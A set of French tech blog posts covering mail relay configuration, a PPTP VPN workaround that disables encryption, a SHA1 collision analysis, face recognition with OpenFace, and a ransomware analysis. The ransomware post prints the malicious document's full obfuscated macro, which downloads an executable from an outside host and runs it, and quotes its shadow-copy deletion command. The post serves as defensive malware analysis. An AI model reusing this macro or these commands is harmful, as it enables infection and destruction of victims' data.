Configurer postfix avec un Exchange non autoritatif sur le même domaine

Ma problématique était la suivante : un client avec un serveur de messagerie sous postfix souhaitait migrer une grande partie de ses utilisateurs sur un serveur exchange, sans changer de domaine.

L'idée a été de prendre du Hosted Exchange chez OVH et de le configurer en mode non autoritatif : enter image description here

Une fois que l'entrée DNS MX du domaine est modifiée pour pointer sur le serveur Exchange et propagée, cela devrait fonctionner. Lorsque le serveur Exchange reçoit des courriels, il regarde dans sa liste d'utilisateurs et si l'utilisateur est connu, il délivre le message dans la boite de réception. S'il n'est pas connu, il transmet le message au serveur postfix, soit mail.domaine.tld dans la capture ci-dessus.

Jusque la tout semble bien fonctionner, du moins pour tous les messages venant de l'extérieur. En effet, lorsque les utilisateurs du serveur postfix souhaitent envoyer un message à une adresse qui est présente sur les deux serveurs, il est délivré en local. Lorsque les utilisateurs du serveur postfix souhaitent envoyer un message à une adresse qui n'est que sur le serveur Exchange, dans les logs postfix, on obtient le message suivant : Recipient address rejected: User unknown in local recipient table et le message n'est pas délivré. Tout cela est normal. En effet, le serveur postfix ne sait pas qu'il existe un autre serveur sur le domaine.

La solution consiste à modifier le fichier /etc/postfix/main.cf pour indiquer à postfix qu'il doit agir comme un relais pour ce domaine. Pour cela on retire le domaine de mydestination pour l'ajouter dans relay_domains :

Voici cette partie du fichier avant :

mydestination = domaine.tld autredomaine.tld
relay_domains =

Et le voici après :

mydestination = autredomaine.tld
relay_domains = domaine.tld

Ensuite dans le fichier /etc/postfix/transport, on indique tout d'abord les adresses des utilisateurs du serveur Exchange puis le mode de transport (smtp) et le saut suivant, soit le nom du serveur Exchange . Ensuite, pour toutes les autres adresses, on indique qu'ils doivent être traités localement. On obtient un fichier qui ressemble à cela :

exchange.user1@domaine.tld smtp:ex3.mail.ovh.net
exchange.user2@domaine.tld smtp:ex3.mail.ovh.net
exchange.user3@domaine.tld smtp:ex3.mail.ovh.net
[...]
exchange.usern@domaine.tld smtp:ex3.mail.ovh.net
domaine.tld local

On relance postfix et on peut utiliser le nouveau serveur Exchange, aussi bien en interne que depuis l'extérieur.

Se connecter à un VPN PPTP avec le chiffrement optionnel sous macOS Sierra

Se connecter à un VPN PPTP avec le chiffrement optionnel sous macOS Sierra

Pour un client, je devais me connecter à un VPN Point-to-Point Tunneling Protocol configuré pour ne pas supporter le chiffrement. Sous Windows, cela ne pose pas particulièrement de problème, dans les propriétés de la connexion, il suffit de sélectionner chiffrement optionnel :

propriétés connexion VPN

Le problème, c'est que je suis essentiellement sous macOS Sierra et, pour des raisons de sécurité, Apple a supprimé le support PPTP dans Sierra et iOS 10. Après quelques recherches on trouve deux alternatives :

  1. Shimo (payant : 49 €)
  2. Flow VPN (gratuit)

Ils supportent tous les deux le PPTP mais lorsqu'on tente de se connecter à un serveur configuré pour ne pas supporter le chiffrement, on obtient le message d'erreur suivant :

MPPE required, but MS-CHAP[v2] auth not performed.

Dans les deux cas, cela vient du fait que ces logiciels activent par défaut le chiffrement obligatoire. En fait ils contiennent la ligne suivante dans leur configuration :

require-mppe

Il faut donc trouver un moyen de ne pas tenir compte de cette ligne lors de la connexion.

Pour Shimo, c'est assez simple, on ajoute nomppe dans l'onglet "expert" des propriétés de la connexion :

shimo nomppe

Pour Flow VPN, c'est un peu plus compliqué. Il faut mettre des # aux lignes 92 et 93 du fichier "FlowVPN Connect.app/Contents/MacOS/FlowVPN Connect" (en utilisant "clic droit -> Afficher le contenu du paquet") :

flowVPN nomppe commentaires

Et voilà, dans les deux cas, après, on peut se connecter.

SHAttered, comment cela peut fonctionner ? Analyse des fichiers

SHAttered, comment cela peut fonctionner ? Analyse des fichiers

La semaine dernière, une équipe du CWI et de Google Research a publié le site shattered.io. Ils montrent la première collision SHA1 réelle. Il s'agit de générer deux fichiers différents présentant le même hash, SHA1 dans ce cas. L'objet de cet article est l'analyse en profondeur de ces deux fichiers afin de déterminer comment cela peut fonctionner.

On trouve les PDF ici et .

Tout d'abord, ils présentent bien un SHA1 identique, mais un MD5 différent :

shattered_md5_sha1

Les MD5 montrent que les fichiers sont bien différents.

Il s'agit de PDF ne contenant qu'une page. Visuellement, on les différencie par la couleur de fond de la partie haute. Sur le premier fichier, elle est bleue et sur le second, elle est rouge.

2shattered

Les deux fichiers font exactement la même taille. Lorsqu'on les compare, on constate que 99,97 % de leur contenu sont strictement identiques. Seuls 62 octets entre les offset 0xC0 et 0x130 sont différents :

shatteredvs

On remarque également que les fichiers PDF contiennent chacun la signature d'un fichier JPG à l'offset 0x95. Ces images occupent, à elles seules, plus de 99 % des PDF. A l'aide de PDF Stream Dumper, on peut visualiser les différents flux des PDF. On constate qu'il n'y en a que 13 et qu'ils sont structurés très simplement. Ce logiciel permet également d'extraire les fichiers JPG :

shattered_pdfstream

Les deux fichiers JPG contiennent les mêmes différences que les fichiers PDF.

shattered_jpgvs

En s'intéressant à la structure les fichiers JPG, on remarque qu'ils contiennent des commentaires de tailles différentes :

shattered_jpgvs_color

En reproduisant, sur l'intégralité des deux images, le même processus que sur l'image précédente, on obtient quelque chose comme cela :

shattered_jps_comm

On en conclut qu'en réalité, les fichiers contiennent tous les deux les deux images.
De plus, seul l'octet à l'offset 0x2B (0x73 pour la première image et 0x7F pour la deuxième), c'est à dire le deuxième octet de la taille du deuxième commentaire, permet de passer d'une image à l'autre. Ainsi, le logiciel en charge d'afficher les images ne lit pas les mêmes zones de données en fonction de l'octet à l'offset 0x2B. Dans le cas de l'image du premier fichier, seule la seconde moitié est réellement utile, et pour l'image du second fichier, seule la première moitié est réellement utile.

Au final, une fois que les JPG et les PDF ont été générés, les chercheurs disposaient de 369 octets pour générer leur collision. Ils n'en ont utilisé que 127, dont seulement 61 modifiés.

Pour conclure, déterminer comment cela peut fonctionner est assez simple. Mais générer la collision, c'est là qu'est la difficulté, surtout en terme de puissance de calcul.

Pourquoi les géants du Web et du numérique dominent l'intelligence artificielle

Pourquoi les géants du Web et du numérique dominent l'intelligence artificielle

Ce billet conclut ma série de trois articles sur le machine learning.

Dans les précédents articles, nous avons vu qu'avec un minimum de connaissances informatiques, il était assez facilement possible de mettre en place des algorithmes d'apprentissage automatique, permettant, entre autres, de classifier des espèces de plantes à partir de caractéristiques, des images en fonction de leur contenu ou encore des visages.

selfie-reconnu

Mais surtout je concluais le deuxième article en disant que la principale difficulté était de trouver les images d'entraînement.

En effet, on comprend assez aisément que pour avoir des résultats pertinents, il faut avoir la plus grande quantité de données d'entrainement possible. Dans le domaine du machine learning, on dit souvent que les données sont plus importantes que les algorithmes. Ainsi, déjà en 2011, Peter Norvig, directeur de recherche chez Google, déclarait :

We don’t have better algorithms. We just have more data.

Google propose son assistant personnel intelligent gratuitement sur tous les smartphone Android, Apple fait de même avec Siri sur toute sa gamme, et Amazon vend ses Echo Dot à moins de $50. Tout ce que l'on dit à ces assistants est enregistré pour toujours. Ils disposent donc régulièrement de nouvelles centaines de milliers d'heures d'enregistrements, qui leur permettent d'améliorer la qualité des résultats de leur reconnaissance vocale et des réponses apportées.

Google offre d'autres services gratuitement, notamment son système reCAPTCHA qui permet de vérifier que les visiteurs d'un site sont bien humain. Pour cela, la plupart du temps, il s'agit d'une simple case à cocher mais parfois il faut reconnaitre des éléments sur une photographie. Cela permet à Google de valider les prédictions de ses algorithmes et de les nourrir pour accroitre la justesse des résultats.

Je pourrais encore citer d'autres exemples avec lesquels les géants du web alimentent sans cesse leurs bases de données dans le but d'améliorer les prédictions des algorithmes d'apprentissage automatique, mais, je pense que vous avez saisi l'idée.

Et donc, voilà pourquoi les géants du Web et du numérique sont les champions l'intelligence artificielle. Parce qu'ils ont accès aux données nécessaires à l'entrainement des algorithmes. Nous les leur fournissons gratuitement en échange des services qu'ils nous apportent. Ils n'hésitent pas à s'en nourrir constamment.

Si vous voulez créer quelque chose qui se base sur l’intelligence artificielle, il faudra avant tout trouver un moyen d’obtenir, si possible gratuitement, les données pertinentes et en quantité suffisante. Au final, ces données ou même la manière de les collecter pourraient-être un produit à elles seules.

Pour conclure, en entreprise, conservez soigneusement vos données commerciales et techniques, elles pourront peut-être valoir de l'or et servir un jour.

Interview Lemnet pour Nancy Numérique

Interview Lemnet pour Nancy Numérique

Dans le cadre du nouveau site internet de Nancy Numérique (dont je suis adhérent) et de la nouvelle rubrique interview, Philippe Paci (@philippepaci) a réalisé une interview de moi.

Je réponds aux questions suivantes :

  1. Peux-tu nous présenter ton activité ?
  2. Je te dis Nancy Numérique, tu me dis ... ?
  3. Effet WAHOU avec Nancy Numérique ? Raconte alors !
  4. Un avis sur l'écosystème digital de notre agglomération ?
  5. Tes 3 suggestions pour une France numérique ?
  6. Et à part ça, une chose à dire ?

Vous trouverez mes réponses ici : http://www.nancynumerique.net/interview/

Merci à Nancy Numérique et à Philippe pour cet interview !

Analyse rapide du ransomware marlboro

Analyse rapide du ransomware marlboro

Depuis hier, un nouveau rançongiciel nommé "marlboro" est apparu dans une campagne de spam. Il distribue un fichier word nommé "maxi.docm" dont voici le contenu visible :

marlboro

Ce fichier a un ratio de détection virustotal de 24/56. Il contient une macro qui, si les elles sont activées, s'exécute à l'ouverture du document :

#If Win64 Then
Private Declare PtrSafe Function mdd751a3e80c6fad16ee7801c3493dcdd Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As LongPtr
Private Declare PtrSafe Function n9861322a82506a797cc5e8f0267601d0 Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As LongPtr
#Else
Private Declare Function n9861322a82506a797cc5e8f0267601d0 Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function mdd751a3e80c6fad16ee7801c3493dcdd Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
#End If

Private Sub Document_Open()

On Error Resume Next
Dim q56aa9d485365fb51ab9833044e857343
q56aa9d485365fb51ab9833044e857343 = ChrW(104) + ChrW(116) + ChrW(116) + ChrW(112) + ChrW(58) + ChrW(47) + ChrW(47) + ChrW(109) + ChrW(104) + ChrW(117) + ChrW(115) + ChrW(116) + ChrW(108) + ChrW(101) + ChrW(114) + ChrW(50) + ChrW(48) + ChrW(49) + ChrW(56) + ChrW(46) + ChrW(48) + ChrW(48) + ChrW(48) + ChrW(119) + ChrW(101) + ChrW(98) + ChrW(104) + ChrW(111) + ChrW(115) + ChrW(116) + ChrW(97) + ChrW(112) + ChrW(112) + ChrW(46) + ChrW(99) + ChrW(111) + ChrW(109) + ChrW(47) + ChrW(117) + ChrW(48) + ChrW(48) + ChrW(48) + ChrW(48) + ChrW(48) + ChrW(46) + ChrW(119) + ChrW(105) + ChrW(99) + ChrW(107) + ChrW(101) + ChrW(100)
Dim be8acf9f7bbcf1902bcda5db9f32501d4 As Object
Dim bcb6349ce7630f24ec1aa9bd29dacdb8f As String
Set be8acf9f7bbcf1902bcda5db9f32501d4 = CreateObject("WScript.Shell")
bcb6349ce7630f24ec1aa9bd29dacdb8f = be8acf9f7bbcf1902bcda5db9f32501d4.SpecialFolders("MyDocuments")
Dim b172056081f8581a6c317d44695da9c2d
Dim ea195016377e8498c4944d94f9365750d As String
ea195016377e8498c4944d94f9365750d = UserForm1.Label3.Caption
Dim z57fbbe9a55b7e76e8772bb12c27d0537 As String
Dim naa748b20fce35512e4e8aa0f8a67d3c4$, bc5ea98bbe8bfcd700715deb41c5cb71c$
naa748b20fce35512e4e8aa0f8a67d3c4 = q56aa9d485365fb51ab9833044e857343
bc5ea98bbe8bfcd700715deb41c5cb71c = bcb6349ce7630f24ec1aa9bd29dacdb8f + "/aegnmiae." + UserForm1.Label1.Caption + UserForm1.Label2.Caption + UserForm1.Label1.Caption
b172056081f8581a6c317d44695da9c2d = n9861322a82506a797cc5e8f0267601d0(0, naa748b20fce35512e4e8aa0f8a67d3c4, bc5ea98bbe8bfcd700715deb41c5cb71c, 0, 0)
UserForm1.Label4.Caption = bc5ea98bbe8bfcd700715deb41c5cb71c
e0fece8647c2c2169f969c40262081af8 = UserForm1.Label4.Caption
mdd751a3e80c6fad16ee7801c3493dcdd 0, ea195016377e8498c4944d94f9365750d, e0fece8647c2c2169f969c40262081af8, 0, 0, 3



End Sub

Ce code télécharge le fichier "http://mhustler2018.000webhostapp.com/u00000.wicked" dans "%USERPROFILE%\Documents\aegnmiae.EXE". Il a un ratio de détection virustotal de 29/58. L'icône ressemble à celle d'un document word :

marlboro-icone

A l'issue du téléchargement, le malware est exécuté et il effectue les opérations suivantes :

  • chiffrement de fichiers ayant certaines extensions,
  • ajout de oops à la fin des noms des fichiers qu'il a chiffrés,
  • suppression des volume shadow copy

cmd.exe /C vssadmin.exe Delete Shadows /All /Quiet

  • création du fichier "_HELP_Recover_Files_.html" partout où il a chiffré des fichiers : marlboro-help

  • création du fichier "DecryptFiles.exe", qui est censé permettre le déchiffrement, mais qui ne fonctionne pas (ou plus) : marlboro-decrypter

  • ping inutile et suppression de lui même :

cmd.exe /C ping 1.1.1.1 -n 1 -w 6000 > Nul & Del "C:\Users\Administrator\Documents\aegnmiae.EXE"

Bien que le fichier html indique que le ransomware utilise un chiffrement fort, lorsqu'on regarde de plus près un fichier chiffré, on se rend facilement compte qu'il s'agit en fait d'un simple XOR. En effet, en éditant un simple fichier pdf, on constate que certaines parties contiennent de nombreuses fois une suite de 8 caractères ou le début de cette suite. Voici un exemple :

marlboro-xor

On sait que la majorité des fichiers classiques contiennent des zones ne comportant que des octets à zeros. On sait également que A XOR 0 = A. Cela permet de conclure qu'il s'agit d'un simple XOR et on trouve facilement la clé de déchiffrement. Dans mon cas, il s'agit de 0x617963626D6E656A.

On peut dire que c'est un rançongiciel de mauvaise qualité. En plus de n'utiliser qu'un simple XOR, le processus de chiffrement est buggé. En effet, sur certains fichiers, il supprime les derniers octets et cela peut les rendre inutilisables, même s'ils sont déchiffrés.

Emsisoft propose un outil de déchiffrement gratuit. Cependant, il nécessite de posséder au moins une copie d'un fichier avant le chiffrement. Si vous ne possédez pas cette copie, cela ne fonctionnera pas avec cet outils.

Pour conclure, comme d'habitude, ne payez surtout pas et je rappelle que la solution à ce genre de problématique se situe, selon moi, au niveau de la prévention des utilisateurs.

La reconnaissance faciale accessible à tous avec openface en 5 étapes simples

La reconnaissance faciale accessible à tous avec openface en 5 étapes simples

Cet article fait suite à mon billet précédent sur le machine learning. Il s'agit cette fois de classifier des visages ou, plus simplement, de mettre en place un système qui permet de reconnaître, de manière automatique, des personnes grâce à leur visage . Nous allons tester ce système sur les visages du selfie du tout Hollywood des Oscars 2014 :

selfie-oscar-2015

Sur cette image figurent Bradley Cooper, Ellen DeGeneres, Angelina Jolie, Brad Pitt, Meryl Streep, Julia Roberts, Jennifer Lawrence, Lupita Nyong'o, Peter Nyong'o Jr, Kevin Spacey, Jared Leto et Channing Tatum.

Étape 1 : Docker et images d'entrainement

Il faut télécharger et installer docker. Ensuite, il faut récupérer l'image d'openface et la lancer :

$ docker pull bamos/openface
$ docker run -it -v /Users/lemnet/openface:/openface bamos/openface /bin/bash
# cd openface

Ensuite, on crée des dossiers pour y placer nos images d'entrainement :

# mkdir training
# cd training
# mkdir Brad_Pitt
# mkdir Bradley_Cooper
[...]
# cd ..

Ensuite, il faut télécharger une vingtaine de photos pour chaque personne et les placer dans le sous-dossier correspondant :

# tree
.
├── Brad_Pitt
│   ├── 01.jpg
│   ├── 02.jpg
[...]
│   └── 25.jpg
├── Bradley_Cooper
│   ├── 01.jpg
│   ├── 02.jpg
[...]
│   └── 25.jpg
[...]

Étape 2 : Détection de visage et alignement

# /root/openface/util/align-dlib.py ./training/ align outerEyesAndNose ./aligned/ --size 96

Pour toutes les images contenues dans les sous-dossiers du dossier training le script détecte les visages, les extrait, aligne les yeux et le nez, redimensionne les images et place le résultat dans le dossier aligned. Voici deux images montrant ces multiples étapes avec une photo de Brad Pitt et une photo de Bradley Cooper :

brad-pitt-aligned-resizedbradley-cooper-aligned-resized

Étape 3 : Représentation des images alignées

# /root/openface/batch-represent/main.lua -outDir ./result/ -data ./aligned/

À partir des images alignées, ce script génère deux fichiers csv dans le dossier result. Le premier, nommé labels.csv contient les labels. Il ressemble à ça :

1,./aligned/Brad_Pitt/24.png
1,./aligned/Brad_Pitt/17.png
[...]
2,./aligned/Bradley_Cooper/02.png
2,./aligned/Bradley_Cooper/08.png
[...]

Le second, nommé reps.csv contient pour chaque image une représentation numérique :

-0.079513750970364,0.043242372572422,0.07426492869854,-0.091558545827866,0.06730080395937,0.01907422952354,-0.010245048440993,0.043403118848801,-0.01080765388906,-0.0019726541358978,0.029274379834533,0.011781117878854,-0.10427265614271,-0.18958739936352,0.082550443708897,0.045127235352993,-0.096091546118259,-0.017451703548431,0.075089387595654,-0.040827058255672,0.0083134556189179,0.083514250814915,0.025891171768308,-0.1870334893465,0.016636870801449,0.1201656088233,0.076108574867249,-0.089855946600437,0.13932466506958,-0.11345455050468,0.062359347939491,-0.072660997509956,0.12187822908163,-0.0017955830553547,0.15879856050014,-0.025152010843158,0.12112107872963,0.019075144082308,0.14927686750889,-0.069870434701443,0.1209364682436,-0.096725597977638,0.03348121792078,0.059552174061537,-0.094909250736237,0.079473905265331,0.052089180797338,-0.062602028250694,-0.17977291345596,-0.11288245022297,-0.23634988069534,-0.015410038642585,-0.0026467381976545,0.010406941175461,-0.081556968390942,0.023243123665452,0.0054560410790145,-0.056465104222298,-0.30349093675613,0.092260658740997,-0.074208624660969,-0.10985157638788,0.13710018992424,-0.015253474004567,0.21344821155071,0.031170791015029,-0.086570285260677,-0.039965011179447,0.016601404175162,-0.019380843266845,-0.053903806954622,-0.045722220093012,-0.097987584769726,-0.034954115748405,0.075692936778069,-0.039322711527348,-0.047042615711689,0.086616508662701,-0.0038034450262785,-0.064381942152977,-0.10132753103971,0.044696487486362,0.027787212282419,0.13075566291809,-0.013653952628374,-0.015349956229329,0.022534357383847,0.10326029360294,-0.047985222190619,0.046620875597,0.17566956579685,0.0075213755480945,-0.13740640878677,0.096532210707664,0.052546411752701,-0.019534885883331,-0.022727446630597,0.063606709241867,-0.051598604768515,0.025997584685683,-0.094908900558949,-0.13522194325924,-0.10364888608456,-0.089708864688873,0.12060751020908,0.068853013217449,0.19906789064407,0.061816807836294,0.075233280658722,-0.047512516379356,-0.054883949458599,-0.06100058555603,-0.0027660827618092,0.0016581763047725,0.13476423919201,-0.072945423424244,-0.078956924378872,-0.067385271191597,0.082239367067814,0.045021571218967,0.08066825568676,-0.018503317609429,0.0010944502428174,0.050739988684654,0.086741372942924,0.011823086068034,0.094880275428295,-0.0049750739708543
-0.070263981819153,-0.064780130982399,0.068833753466606,-0.079573705792427,-0.02393763884902,0.056701745837927,-0.025278033688664,0.10987707227468,0.072828710079193,-0.012801049277186,0.031829673796892,-0.026127202436328,-0.11176656186581,-0.13374063372612,0.090488865971565,-0.041589949280024,-0.14681378006935,0.044288713485003,0.10873435437679,-0.15384067595005,0.0046405284665525,0.16082474589348,-0.0067559820599854,-0.1942777633667,-0.014278737828135,0.1302190721035,0.055440001189709,-0.10188861936331,0.042436596006155,-0.13196943700314,0.077907674014568,-0.091224417090416,0.083212152123451,-0.049031566828489,0.14888316392899,-0.03791756555438,0.09282723814249,-0.010352308861911,0.14886169135571,0.035943761467934,0.13995899260044,0.00011858189100167,-0.073888853192329,0.061065085232258,-0.11892623454332,-0.13252264261246,-0.035222668200731,-0.10962913930416,0.02320571616292,-0.11148305237293,-0.15579849481583,-0.0012985581997782,0.040522128343582,0.10002072900534,-0.11489909887314,0.016101259738207,0.14151233434677,-0.11592414230108,-0.19397619366646,0.009063757956028,-0.069678321480751,-0.12178941071033,0.065132349729538,0.050163809210062,0.053401399403811,0.0057254293933511,0.066441938281059,-0.05257598310709,0.17400214076042,0.00010578936780803,-0.011980256065726,-0.025771487504244,0.01014574803412,0.014672530815005,0.030921567231417,-0.10137071460485,-0.18099300563335,-0.026000754907727,-0.056350953876972,-0.051783930510283,-0.040815364569426,0.12529125809669,0.12283923476934,0.11534231901169,0.072093278169632,0.0099285449832678,0.10711506009102,0.09900077432394,-0.031046276912093,-0.069916144013405,0.098551474511623,0.049529325217009,-0.067352935671806,-0.0083199115470052,0.0075457850471139,-0.099030457437038,-0.04363788664341,0.058397993445396,-0.082195706665516,0.081268534064293,-0.064576953649521,-0.079441629350185,0.01824301853776,-0.1133379638195,0.14663629233837,-0.022325491532683,0.17956200242043,-0.051539111882448,0.011463063769042,0.032830137759447,-0.035160392522812,-0.10720814019442,-0.0049185594543815,-0.063472390174866,0.072514407336712,-0.051096092909575,0.031789872795343,-0.10537253320217,0.07302663475275,-0.13138537108898,0.14706198871136,-0.05070673674345,0.042252391576767,-0.051124904304743,0.062476176768541,-0.056198608130217,0.088456481695175,0.17326207458973
[...]

Étape 4 : Entraînement

# /root/openface/demos/classifier.py train ./result/

Ce script va générer un modèle SVM (Machine à vecteurs de support) dans le fichier classifier.pkl. Il sera utilisé pour reconnaître les visages dans l'étape suivante

Étape 5 : Reconnaissance

# /root/openface/demos/classifier.py infer --multi ./result/classifier.pkl selfie.jpg

Ce script tente de reconnaitre les visages et retourne quelque chose comme ça :

=== selfie.jpg ===
List of faces in image from left to right
Predict Jennifer_Lawrence @ x=623 with 0.83 confidence.
Predict Ellen_DeGeneres @ x=981 with 0.37 confidence.
Predict Channing_Tatum @ x=1002 with 0.28 confidence.
Predict Channing_Tatum @ x=1146 with 0.20 confidence.
Predict Julia_Roberts @ x=1359 with 0.45 confidence.
Predict Ellen_DeGeneres @ x=1392 with 0.84 confidence.
Predict Kevin_Spacey @ x=1751 with 0.76 confidence.
Predict Bradley_Cooper @ x=2051 with 0.78 confidence.
Predict Brad_Pitt @ x=2187 with 0.76 confidence.
Predict Peter_Nyongo_Jr @ x=2779 with 0.78 confidence.

On remarque que Channing Tatum et Ellen DeGeneres ont été trouvés deux fois, mais surtout que des résultats textuels sont difficiles à interpréter avec des images contenant beaucoup de visage (option --multi). Ainsi, en modifiant quelque peu le script, on peut obtenir assez facilement l'image suivante, plus facilement interprétable :

selfie-reconnu

Sur l'image, on remarque que :

  • six visages sont reconnus avec un indice de confiance supérieur à 75 % (en vert).
  • un visage est reconnu avec un indice de confiance compris entre 40 % et 75 % (en orange).
  • deux visages sont reconnus avec un indice de confiance compris entre 25 % et 40 % (en rouge). Pour l'un des deux, l'algorithme se trompe.
  • un visage est reconnu avec un indice de confiance inférieur à 25 % (Channing Tatum dans le carré rouge dans l'oreille de Ellen DeGeneres)

Huit visages sont reconnus correctement et il n'y a que deux erreurs : Meryl Streep n'est pas reconnue et un visage inexistant est détecté dans l'oreille de Ellen DeGeneres.

Conclusion

On constate qu'il n'est pas compliqué de mettre en place un système de reconnaissance faciale en cinq étapes simples. Au final, la phase la plus compliquée est, en fait, de trouver les images d'entraînement.

Nouvelle année, nouveau blog

Nouvelle année, nouveau blog

Nouvelle année, nouveau blog

2016 s'est achevé et il est temps de regarder vers l'avenir, vers cette nouvelle année qui s'annonce. Pour marquer cette étape, nous faisons évoluer le CMS du blog. Nous laissons Nibbleblog derrière pour passer à HTMLy.

J'en profite pour souhaiter à tout le monde, tous mes voeux de bonheur et de réussite. Que cette nouvelle année puisse vous apporter tout ce dont vous pouvez rêver.